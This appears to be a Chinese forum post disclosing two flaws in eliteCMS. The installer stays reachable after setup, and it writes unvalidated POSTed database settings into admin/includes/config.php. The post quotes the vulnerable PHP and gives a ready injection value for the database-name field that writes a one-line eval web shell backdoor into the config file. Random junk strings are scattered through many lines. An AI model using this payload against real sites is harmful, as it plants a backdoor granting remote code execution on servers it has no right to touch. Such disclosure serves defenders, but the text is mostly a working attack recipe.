eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

: _( y+ ~+ h% n% N8 Z另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
1 [6 n/ g, L! c我们来看代码：
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elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
7 Y6 ^8 d, a- j0 ^$ r9 v    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
4 p" u5 H& h! K+ S' }: X    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
  \! d8 x. M7 V% {3 q0 W    $write .= "*\n";
    $write .= "*/\n";
0 j/ x6 ]8 Q" z4 z$ R2 z; G    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
9 M, a( H8 E4 A% I% Z    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
+ w; Y4 M( w4 B/ O. r3 U    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
* H, f5 D/ ^% j1 l% c6 f% v2 i    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
7 D2 f" Z, D3 X" _$ @  W  _9 |( U    $write .= "        \n";
    $write .= "} \n";
( q: G5 b  i) N9 I' K& E    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
, b0 u# X: K& A0 I) [% k, B    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";

2 P: {5 @+ D, F    $writer = fopen($file, 'w');
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在看代码：

6 y/ ?  y' Z. [$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
5 A/ ]' P* W1 N2 `# v* h% k) W$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
' k" W: B* A  N% O) M$_SESSION['DB_USER'] = $_POST['DB_USER'];
% z9 I1 L2 Z$ e3 v; f7 I$_SESSION['DB_PASS'] = $_POST['DB_PASS'];

取值未作任何验证
如果将数据库名POST数据：

"?><?php eval($_POST[c]);?><?php
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2 j" d0 W% a6 B, {) P+ |将导致一句话后门写入/admin/includes/config.php
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